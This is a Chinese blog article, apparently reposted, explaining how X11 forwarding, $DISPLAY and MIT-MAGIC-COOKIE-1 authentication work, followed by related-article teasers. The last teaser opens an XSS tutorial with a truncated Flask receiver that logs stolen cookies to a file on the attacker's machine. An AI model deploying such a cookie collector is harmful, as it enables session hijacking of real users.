什么是X11轉發?

X11 轉發(X11 forwarding,ssh -X)是一種 SSH 協議功能,它允許用戶在遠程服務器上運行圖形化應用程序,并通過本地的顯示設備和輸入輸出設備與這些程序進行交互。它被開發者廣泛使用,用于在大規模、異構的服務器集群中安全地與遠程機器進行圖形化交互。

很早以前就有人將 X11 轉發功能添加到支持的 SSH 協議列表中。在實現該功能的過程中,我們逐漸意識到,盡管 X11 轉發使用非常普遍,但實際上很少有資料能夠準確地解釋它是如何工作的。因此,在這篇博客文章中,我將分享一些關于 X11 及其轉發機制的見解,以解答大家常見的疑問,并重點介紹與 X11 轉發相關的安全隱患——這些內容對于任何使用該功能的用戶都具有重要意義。

什么是X11?

X11 是指 X 窗口系統的第 11 個版本(即“第11版”);它是一種開源圖形協議,誕生于互聯網早期階段。X11 提供了一個基礎框架,用于創建自定義的圖形用戶界面(GUI),這些界面可以在本地或遠程的顯示設備上顯示圖形內容。X11 的遠程顯示能力在互聯網初期顯得尤為重要,當時一些“超級計算機”需要為多個用戶提供計算服務,而這些用戶往往分布在不同的工作站上,有時甚至通過遠程網絡進行連接。

最初,X11 是一個相對基礎的協議,但在過去幾十年里,它不斷被擴展,引入了許多現代功能。例如,共享內存擴展(Shared Memory Extension) 就顯著提升了 X11 的性能。盡管如今有像 Wayland 這樣的新項目正在迅速超越 X11 并在行業中獲得廣泛關注,但由于 X11 在早期就已被廣泛采用,因此它仍然“遠未到壽終正寢”的階段。即使到了今天,X11 依然是大多數 Unix 系統的默認圖形協議,也可以很方便地安裝在其他相關操作系統上。

這一特性也進一步促進了 X11 轉發(X11 Forwarding) 的流行,因為服務器管理員可以預期,無論是客戶端還是服務器端,X11 都可以不費太多功夫就完成配置。X11 轉發在一些計算密集型行業(如金融)中尤其受歡迎,而且至今仍廣泛用于高性能計算(High Performance Computing, HPC)領域——這正是 X11 最初的設計目標之一。

客戶端-服務器(Client-Server)模式

X11 采用客戶端-服務器(Client-Server)模型。在該模型中,X 服務器(X Server) 是運行在某臺機器上的程序,負責管理對圖形顯示設備和輸入設備的訪問,例如顯示器、鼠標、鍵盤等;而 X 客戶端(X Client) 是一個處理圖形數據的程序。

通過這個架構,X 客戶端應用程序可以與 X 服務器建立連接,從而通過圖形原語(graphical primitives)與 X 服務器控制的設備進行通信。

但在遠程場景下,這種“客戶端-服務器”的術語容易引起混淆,因此需要特別注意:在大多數情況下,X 服務器實際上運行在本地用戶的機器上,而 X 客戶端程序運行在遠程機器上。

換句話說,遠程機器生成圖形數據(X Client),然后發送給本地機器(X Server)來渲染和顯示,用戶則在本地設備上進行交互。

X11 被設計為具備網絡透明性(network transparent),這意味著 X 服務器(X Server) 和 X 客戶端(X Client) 可以在本地網絡和遠程網絡中以相同的方式進行通信。這種通信可以通過將 X 服務器綁定到一個公開的 TCP 地址來實現,而不是使用默認的本地地址(localhost)或 Unix 套接字(unix socket)。

然而,需要注意的是,X11 默認是一個不安全的明文協議,這意味著通信內容未加密,容易被截獲。因此,并不建議將 X 服務器直接暴露在網絡上。

取而代之的是,現在大多數用戶都會使用 X11 Forwarding(X11 轉發),通過 SSH 通道運行遠程 X11 程序,以此方式利用 SSH 提供的加密和安全性,從而安全地在遠程服務器上運行圖形化應用程序。

顯示

在 X11 中,Display(顯示)是指一組顯示設備的集合,X 服務器(X Server)可以直接向這些設備發送圖形數據并接收圖形輸入。一個 X Display 通常由至少一個屏幕(screen)、鍵盤和指針設備(通常是鼠標)組成。

需要注意的是,這里的 screen(屏幕)并不是指物理上的顯示器,而是一個虛擬畫布(virtual canvas),它能夠接收和渲染原始圖形數據。在實際使用中,一個“屏幕”可以由多個物理顯示器或者虛擬顯示區域組成。

X 客戶端程序(X Client Programs) 使用環境變量 $DISPLAY 來決定要連接到哪個 X Display。這個變量的格式通常是:

hostname:display_number.screen_number

程序會根據這個變量解析出一個 TCP 或 Unix Socket,并通過該 Socket 與對應的 X Server 建立連接。一旦連接成功,X Server 會將該連接轉發到指定的屏幕(screen)上進行顯示。

不過,$DISPLAY 的一些隱藏規則可能會讓人感到困惑:

  • display_number(顯示編號) 必須顯式設置;
  • hostname(主機名)screen_number(屏幕編號) 可以省略,分別默認取為:

hostname:device_name/unix(即本地 Unix 域套接字);

screen_number:默認為 0。

因此,:0 實際上等價于 device_name/unix:0.0,這兩者在實際運行中將被視為完全相同。同理,你也可以使用 unix:0 來表示 device_name/unix:0。

其次,一個顯示所對應的 TCP 或 Unix 套接字路徑 是通過如下方式推導出來的:

hostname:n → 會被映射為 localhost:6000+n,即第 n 個顯示監聽在本地 TCP 端口 6000+n 上;

hostname/unix:n → 會被映射為 Unix Socket 文件 /tmp/.X11-unix/Xn。

安全

X 服務器可以通過幾種方式來控制對其顯示設備(Display)的訪問,但其中最常見、也是在 X11 轉發 場景中唯一相關的方式是使用名為 MIT-MAGIC-COOKIE-1 的協議進行基于 Cookie 的訪問控制。

在該協議中,**X 客戶端(X Client)**必須提供一個有效的、明文的 32 字節 Cookie。如果 **X 服務器(X Server)**識別出該 Cookie 是為當前請求的 Display 所設置的,它就會根據該 Cookie 所包含的權限授予客戶端訪問權限。

但遺憾的是,這種權限劃分并不細致,而是粗略地分為兩類:

Trusted(受信任):該 Cookie 允許客戶端對 X Server 擁有完全不受限制的訪問權限;

Untrusted(不受信任):該 Cookie 會對客戶端的權限進行限制,例如:

  • 限制程序只能訪問自身的窗口;
  • 禁止使用剪貼板等共享功能。

你可以使用 xauth 工具來在 X Server 中添加或生成這些 Cookie,并將它們保存到磁盤上:

  • 如果設置了 $XAUTHORITY 環境變量,則保存至其指向的文件;
  • 否則,默認保存至 ~/.Xauthority 文件。

當你運行一個 X 程序時,它會從 $XAUTHORITY 或 ~/.Xauthority 文件中獲取與請求的 Display 對應的認證信息,并在與 X Server 建立連接時提供這些認證數據以便通過身份驗證。

有一點你必須知道:

如果某個 X 程序找不到與指定 Display 匹配的任何認證信息,它將直接嘗試不帶認證信息建立連接。

這時,X Server 仍然會接受這個連接,并啟用默認的不安全連接方式。也就是說:

此時并不是 X Server 負責驗證訪問者身份,而是由 X 客戶端程序自己負責是否進行身份校驗與權限控制。

正因如此,xauth 常常配合其他訪問控制機制一起使用,比如:

xhost:用于限制哪些主機或用戶有權嘗試連接到 X Server,從源頭上防止不可信的客戶端發起連接。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/96300.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/96300.shtml
英文地址,請注明出處:http://en.pswp.cn/web/96300.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Android Kotlin 動態注冊 Broadcast 的完整封裝方案

在 Kotlin 中封裝動態注冊的 Broadcast 可以讓你更優雅地管理廣播的注冊和注銷,避免內存泄漏。下面是一個完整的封裝方案: 基礎封裝類 import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import …

VGG改進(8):融合Self-Attention的CNN架構

1. 自注意力機制簡介自注意力機制是Transformer架構的核心組件,它能夠計算輸入序列中每個元素與其他所有元素的相關性。與CNN的局部感受野不同,自注意力機制允許模型直接建立遠距離依賴關系,從而捕獲全局上下文信息。在計算機視覺中&#xff…

ES6 面試題及詳細答案 80題 (33-40)-- Symbol與集合數據結構

《前后端面試題》專欄集合了前后端各個知識模塊的面試題,包括html,javascript,css,vue,react,java,Openlayers,leaflet,cesium,mapboxGL,threejs&…

PG-210-HI 山洪預警系統呼叫端:筑牢山區應急預警 “安全防線”

在山洪災害多發的山區,及時、準確的預警信息傳遞是保障群眾生命財產安全的關鍵。由 PG-210-HI 型號構成的山洪預警系統呼叫端主機,憑借其全面的功能、先進的特性與可靠的性能,成為連接管理員與群眾的重要應急樞紐,為山區構建起一道…

研學旅游產品設計實訓室:賦能產品落地,培養實用人才

1. 研學旅游產品設計實訓室的定位與功能 研學旅游產品設計實訓室是專門為學生提供研學課程與產品開發、模擬設計、項目推演、成果展示等實踐活動的教學空間。該實訓室應支持以下功能: 研學主題設計與目標制定; 課程內容與學習方法的選擇與整合&#xf…

4215kg輕型載貨汽車變速器設計cad+設計說明書

第一章 前言 3 1.1 變速器的發展環繞現狀 3 1.2 本次設計目的和意義 4 第二章 傳動機構布置方案分析及設計 5 2.1 傳動機構結構分析與類型選擇 5 2.2變速器主傳動方案的選擇 5 2.3 倒檔傳動方案 6 2..4 變速器零、部件結構方案設計 6 2.4.1 齒輪形式 …

9月10日

TCP客戶端代碼#include<myhead.h> #define SER_IP "192.168.108.179" //服務器&#xff49;&#xff50;地址 #define SER_PORT 8888 //服務器端口號 #define CLI_IP "192.168.108.239" //客戶端&#xff49;&#xff50;地址 …

案例開發 - 日程管理 - 第七期

項目改造&#xff0c;進入 demo-schedule 項目中&#xff0c;下載 pinia 依賴在 main.js 中開啟 piniaimport { createApp } from vue import App from ./App.vue import router from ./router/router.js import {createPinia} from pinialet pinia createPinia() const app …

infinityfree 網頁連接內網穿透 localtunnel會換 還是用frp成功了

模型庫首頁 魔搭社區 fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. 我嘗試用本機ipv6&#xff0c;失敗了 配置文件 - ChmlFrp 香港2才能用 只支持https CNAME解析 | 怊貓科技 | 文檔 How to create …

批量更新數據:Mybatis update foreach 和 update case when 寫法及比較

在平常的開發工作中&#xff0c;我們經常需要批量更新數據&#xff0c;業務需要每次批量更新幾千條數據&#xff0c;采用 update foreach 寫法的時候&#xff0c;接口響應 10s 左右&#xff0c;優化后&#xff0c;采用 update ... case when 寫法&#xff0c;接口響應 2s 左右。…

Java基礎篇04:數組、二維數組

1 數組 數組是一個數據容器&#xff0c;可用來存儲一批同類型的數據。 1.1 數組的定義方式 靜態初始化 數據類型[][] 數組名 {元素1&#xff0c;元素2&#xff0c;元素3}; string[][] name {"wfs","jsc","qf"} 動態初始化 數據類型[][] 數組名…

unity開發類似個人網站空間

可以用 Unity 開發 “個人網站空間” 類工具&#xff0c;但需要結合其技術特性和適用場景來判斷是否合適。以下從技術可行性、優勢、局限性、適用場景四個方面具體分析&#xff1a;一、技術可行性Unity 本質是游戲引擎&#xff0c;但具備開發 “桌面應用” 和 “交互內容” 的能…

SDK游戲盾如何實現動態加密

SDK游戲盾的動態加密體系通過??密鑰動態管理、多層加密架構、協議混淆、AI自適應調整及設備綁定??等多重機制協同作用&#xff0c;實現對游戲數據全生命周期的動態保護&#xff0c;有效抵御中間人攻擊、協議破解、重放攻擊等威脅。以下從核心技術與實現邏輯展開詳細說明&am…

TensorFlow平臺介紹

什么是 TensorFlow&#xff1f; TensorFlow 是一個由 Google Brain 團隊 開發并維護的 開源、端到端機器學習平臺。它的核心是一個強大的數值計算庫&#xff0c;特別擅長于使用數據流圖來表達復雜的計算任務&#xff0c;尤其適合大規模機器學習和深度學習模型的構建、訓練和部署…

TENGJUN防水TYPE-C連接器:立貼結構與IPX7防護的精密融合

在戶外電子、智能家居、車載設備等對連接可靠性與空間適配性要求嚴苛的場景中&#xff0c;連接器不僅是信號與電力傳輸的“橋梁”&#xff0c;更需抵御潮濕、粉塵等復雜環境的侵蝕。TENGJUN防水TYPE-C連接器以“雙排立貼”為核心設計&#xff0c;融合鋅合金底座、精準尺寸控制與…

Spring Boot + Vue 項目中使用 Redis 分布式鎖案例

加鎖使用命令&#xff1a;set lock_key unique_value NX PX 1000NX:等同于SETNX &#xff0c;只有鍵不存在時才能設置成功PX&#xff1a;設置鍵的過期時間為10秒unique_value&#xff1a;一個必須是唯一的隨機值&#xff08;UUID&#xff09;&#xff0c;通常由客戶端生成…

微信小程序攜帶token跳轉h5, h5再返回微信小程序

需求: 在微信小程序內跳轉到h5, 瀏覽完后點擊返回按鈕再返回到微信小程序中 微信小程序跳轉h5: 微信小程序跳轉h5,這個還是比較簡單的, 但要注意細節 一、微信小程序代碼 1.新建跳轉h5頁面, 新建文件夾,新建page即可 2.使用web-view標簽 wxml頁面 js頁面 到此為止, 小程序…

【機器學習】通過tensorflow實現貓狗識別的深度學習進階之路

【機器學習】通過tensorflow實現貓狗識別的深度學習進階之路 簡介 貓狗識別作為計算機視覺領域的經典入門任務&#xff0c;不僅能幫助我們掌握深度學習的核心流程&#xff0c;更能直觀體會到不同優化策略對模型性能的影響。本文將從 “從零搭建簡單 CNN” 出發&#xff0c;逐步…

異步處理(前端面試)

Promise 1&#xff1a;使用promise原因 了解回調地獄【什么是回調地獄】 1&#xff1a;回調地獄是異步獲取結果后&#xff0c;為下一個異步函數提供參數&#xff0c;層層回調嵌入回調 2&#xff1a;導致回調層次很深&#xff0c;代碼維護特別困難 3&#xff1a;在沒有ES6時&…

3種XSS攻擊簡單案例

1、接收cookie端攻擊機上用python寫個接收web程序flask from flask import Flask, request, Responseapp Flask(__name__)app.route(/) def save_cookie():cookie request.args.get(cookie, )if cookie:with open(/root/cookies.txt, a) as f:f.write(f"{cookie}\n"…